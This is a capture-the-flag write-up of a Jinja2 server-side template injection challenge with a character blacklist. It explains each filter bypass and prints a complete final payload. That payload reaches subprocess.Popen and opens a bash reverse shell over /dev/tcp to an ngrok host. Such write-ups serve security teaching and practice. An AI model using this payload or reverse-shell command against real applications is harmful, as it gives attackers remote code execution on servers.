Jinja2 SSTI filter bypass
This type of challenges is created to be solved at the end, but you know it's a matter of time so who is the faster?
Author: Kahla
This was a Jinja2 template injection challenge, with the following filter:"\{\{|\}\}|(popen)|(os)|(subprocess)|(application)|(getitem)|(flag.txt)|\.|_|\[|\]|\"|(class)|(subclasses)|(mro)|\\\\",request.form['name'])
As we can see, the filter is quite extensive!

Bypassing "{{" and "}}"

This one is rather straightforward. We could still get code execution through an if-else statement:
{% if PAYLOAD %}{% endif %}

Bypassing ".", "[", "]"

We could bypass the use of . by using the attr filter. For instance, request|attr('args') is the same as request.args.
Sometimes, we need to access elements of a list or dictionary. This was a bit more tricky but looking into the Built-in Filters part of the documentation, we can find some useful information.
To get the first and last items of a list, we could use |first and |last respectively.
If we need to access items in a dictionary, we could first convert them to a list using |list, then access the first and last elements.

Bypassing "_", "\", "class", "subclasses", "getitem"

In order for our RCE payload to work, I needed access to __class__, __subclassess__ and __getitem__.
We needed a way to construct something like ()|attr('__class__'). The \ character was banned, so using octal or hexadecimal numbers to construct the string was not possible.
One easy way to get banned characters into a string was to use request.args - this is a MultiDict object containing the GET request parameters.
For example, this allowed us to get the __ string:
POST /?__=a
name=... request|attr('args')|list|first ...
Bypassing the class, subclasses, and getitem strings could be done by using the |lower filter. For instance: 'CLASS'|lower.
All that's left to do is to join the class string with the preceding and ending __ characters. This can be achieved using |join.
Viola, the following will give us ().__class__:
This can then be extended to construct almost any arbitrary payload.

Gaining RCE

To get RCE, a typical method is through ().__class__.__subclasses__.__getitem__(x) where x corresponds to the index of the subprocess.Popen class.
We do not know the value of x in this case, but we can still blindly bruteforce the value of x by submitting our RCE payload with different x values until we receive a shell.
In order to complete our RCE payload, I needed the . character for my callback domain, and the " character for the bash command:
bash -c "bash -i >& /dev/tcp/ 0>&1"
These characters can be obtained in a similar fashion as __. Adding a second GET request parameter, we can access . through request|attr('args')|list|last.
As for ", we could add another POST request parameter and access it through request|attr('form')|list|last)|join.

Final Payload

It might not have been the most elegant, but it got the job done!
POST /?__=a&.=b HTTP/1.1
Content-Length: 661
name={% if ()|attr((request|attr('args')|list|first,'CLASS'|lower,request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'base',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'SUBCLASSES'|lower,request|attr('args')|list|first)|join)()|attr((request|attr('args')|list|first,'GETITEM'|lower,request|attr('args')|list|first)|join)(276)(('bash -c ',request|attr('form')|list|last,'bash -i >%26 /dev/tcp/8',request|attr('args')|list|last,'tcp',request|attr('args')|list|last,'ngrok',request|attr('args')|list|last,'io/14003 0>%261',request|attr('form')|list|last)|join,shell=True,stdout=-1) %}{% endif %}&"
Last modified 8mo ago